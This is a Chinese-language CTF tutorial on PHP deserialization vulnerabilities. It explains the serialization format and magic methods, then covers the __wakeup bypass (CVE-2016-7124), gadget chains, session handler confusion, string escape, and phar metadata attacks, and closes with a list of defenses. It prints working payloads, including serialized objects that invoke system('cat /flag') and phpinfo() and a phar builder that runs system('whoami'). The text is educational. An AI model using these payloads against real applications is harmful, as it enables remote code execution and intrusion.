详谈CTF中常出现的PHP反序列化漏洞
字数 1783 2025-08-15 21:34:04

PHP反序列化漏洞详解

1. PHP序列化与反序列化基础

1.1 序列化概念

PHP序列化是将变量或对象转化为字符串形式以便存储和传输的过程。序列化函数为serialize(),反序列化函数为unserialize()

序列化格式示例

class user {
    public $username;
}
$a = new user('Bob');
echo serialize($a); 
// 输出: O:4:"user":1:{s:8:"username";s:3:"Bob";}

格式解析

  • O:对象类型
  • 4:类名长度
  • "user":类名
  • 1:对象属性个数
  • s:8:"username":字符串类型属性名,长度8
  • s:3:"Bob":属性值

1.2 属性类型表示

  • public:正常序列化
  • protected%00*%00前缀
  • private%00类名%00前缀

2. 关键魔术方法

PHP中以下魔术方法与反序列化漏洞密切相关:

魔术方法 触发时机
__construct() 对象创建时调用
__destruct() 对象销毁时调用
__toString() 对象被当作字符串使用时调用
__sleep() 对象序列化前调用
__wakeup() 对象反序列化后调用
__call() 调用不存在或权限不足的方法时调用
__get() 调用私有属性时调用

3. PHP反序列化漏洞原理

当反序列化数据中包含用户可控的恶意对象时,可能触发危险代码执行。

示例漏洞

class HelloPhp {
    public $a;
    public $b;
    public function __destruct(){
        $a = $this->a;
        $b = $this->b;
        echo $b($a); // 危险点:函数动态调用
    }
}
unserialize($_GET["data"]);

利用方式

$c = new HelloPhp;
$c->a = "cat /flag";
$c->b = "system";
echo serialize($c);
// O:8:"HelloPhp":2:{s:1:"a";s:9:"cat /flag";s:1:"b";s:6:"system";}

4. __wakeup()绕过(CVE-2016-7124)

漏洞影响版本

  • PHP5 < 5.6.25
  • PHP7 < 7.0.10

漏洞原理

当序列化字符串中对象属性数量大于实际属性数量时,__wakeup()不会被调用。

示例

class score {
    function __wakeup() { $this->name = 'Bob'; }
    function __destruct() { echo $this->name; }
}

正常payload
O:5:"score":2:{s:4:"name";s:4:"john";s:5:"score";s:4:"1000";}

绕过payload
O:5:"score":1:{s:4:"name";s:4:"john";s:5:"score";s:4:"1000";}

5. 同名函数利用

利用不同类中同名方法的特性进行攻击:

class A {
    var $target;
    function __construct() { $this->target = new B; }
    function __destruct() { $this->target->action(); }
}
class B { function action() { echo "action B"; } }
class C { 
    var $test; 
    function action() { eval($this->test); } 
}

利用方式
构造对象使$target指向类C的实例。

6. PHP Session反序列化漏洞

6.1 Session处理机制

PHP session可通过三种处理器序列化:

  1. php:键名 + 竖线 + 序列化值
  2. php_binary:键名长度(ASCII) + 键名 + 序列化值
  3. php_serialize:整个$_SESSION数组序列化

6.2 漏洞利用条件

  • 服务端使用不同处理器处理session
  • 攻击者可控制session内容

利用步骤

  1. 使用php_serialize处理器存储恶意session
  2. 使用php处理器读取时触发反序列化

示例payload
|O:1:"A":1:{s:1:"a";s:10:"phpinfo();";}

7. 反序列化字符串逃逸

7.1 关键字增多场景

当过滤函数使关键字增多时,利用长度变化构造有效payload。

示例

$c = preg_replace('/o/', "oo", $b); // o变为oo

payload构造

a:2:{s:8:"username";s:44:"oooooooooooooooooooooo";s:3:"age";s:2:"35";}";s:3:"age";s:2:"13";}

7.2 关键字减少场景

当过滤函数使关键字减少时,利用长度变化构造有效payload。

示例

$c = preg_replace('/oo/', "o", $b); // oo变为o

payload构造

a:2:{s:8:"username";s:44:"oooooooooooooooooooooooooooooooooooooooooooo";s:3:"age";s:2:"15";}";s:3:"age";s:2:"35";}

8. Phar反序列化漏洞

8.1 Phar文件结构

  1. stub<?php __HALT_COMPILER(); ?>
  2. manifest:包含序列化的metadata
  3. file contents:压缩文件内容
  4. signature:签名(可选)

8.2 漏洞利用条件

  • 文件系统函数参数可控
  • 可上传phar文件(可伪装为其他格式)

受影响的函数
file_exists(), is_dir(), file_get_contents(), stat()

8.3 利用步骤

  1. 构造恶意phar文件
class TestObject {
    function __destruct() { system($this->cmd); }
}
$phar = new Phar("phar.phar");
$phar->setStub("GIF89a<?php __HALT_COMPILER(); ?>");
$o = new TestObject();
$o->cmd = "whoami";
$phar->setMetadata($o);
$phar->addFromString("test.txt", "test");
  1. 通过phar协议触发
file_exists('phar://malicious.phar/test.txt');

9. 防御措施

  1. 避免反序列化用户可控数据
  2. 使用json_encode()/json_decode()替代序列化
  3. 对反序列化数据进行严格校验
  4. 限制危险魔术方法的使用
  5. 更新PHP版本修复已知漏洞
  6. 对文件上传进行严格限制和检查
PHP反序列化漏洞详解 1. PHP序列化与反序列化基础 1.1 序列化概念 PHP序列化是将变量或对象转化为字符串形式以便存储和传输的过程。序列化函数为 serialize() ,反序列化函数为 unserialize() 。 序列化格式示例 : 格式解析 : O :对象类型 4 :类名长度 "user" :类名 1 :对象属性个数 s:8:"username" :字符串类型属性名,长度8 s:3:"Bob" :属性值 1.2 属性类型表示 public :正常序列化 protected : %00*%00 前缀 private : %00类名%00 前缀 2. 关键魔术方法 PHP中以下魔术方法与反序列化漏洞密切相关: | 魔术方法 | 触发时机 | |---------|---------| | __construct() | 对象创建时调用 | | __destruct() | 对象销毁时调用 | | __toString() | 对象被当作字符串使用时调用 | | __sleep() | 对象序列化前调用 | | __wakeup() | 对象反序列化后调用 | | __call() | 调用不存在或权限不足的方法时调用 | | __get() | 调用私有属性时调用 | 3. PHP反序列化漏洞原理 当反序列化数据中包含用户可控的恶意对象时,可能触发危险代码执行。 示例漏洞 : 利用方式 : 4. __ wakeup()绕过(CVE-2016-7124) 漏洞影响版本 PHP5 < 5.6.25 PHP7 < 7.0.10 漏洞原理 当序列化字符串中对象属性数量大于实际属性数量时, __wakeup() 不会被调用。 示例 : 正常payload : O:5:"score":2:{s:4:"name";s:4:"john";s:5:"score";s:4:"1000";} 绕过payload : O:5:"score":1:{s:4:"name";s:4:"john";s:5:"score";s:4:"1000";} 5. 同名函数利用 利用不同类中同名方法的特性进行攻击: 利用方式 : 构造对象使 $target 指向类C的实例。 6. PHP Session反序列化漏洞 6.1 Session处理机制 PHP session可通过三种处理器序列化: php :键名 + 竖线 + 序列化值 php_binary :键名长度(ASCII) + 键名 + 序列化值 php_serialize :整个$_ SESSION数组序列化 6.2 漏洞利用条件 服务端使用不同处理器处理session 攻击者可控制session内容 利用步骤 : 使用 php_serialize 处理器存储恶意session 使用 php 处理器读取时触发反序列化 示例payload : |O:1:"A":1:{s:1:"a";s:10:"phpinfo();";} 7. 反序列化字符串逃逸 7.1 关键字增多场景 当过滤函数使关键字增多时,利用长度变化构造有效payload。 示例 : payload构造 : 7.2 关键字减少场景 当过滤函数使关键字减少时,利用长度变化构造有效payload。 示例 : payload构造 : 8. Phar反序列化漏洞 8.1 Phar文件结构 stub : <?php __HALT_COMPILER(); ?> manifest :包含序列化的metadata file contents :压缩文件内容 signature :签名(可选) 8.2 漏洞利用条件 文件系统函数参数可控 可上传phar文件(可伪装为其他格式) 受影响的函数 : file_exists() , is_dir() , file_get_contents() , stat() 等 8.3 利用步骤 构造恶意phar文件 通过phar协议触发 9. 防御措施 避免反序列化用户可控数据 使用 json_encode() / json_decode() 替代序列化 对反序列化数据进行严格校验 限制危险魔术方法的使用 更新PHP版本修复已知漏洞 对文件上传进行严格限制和检查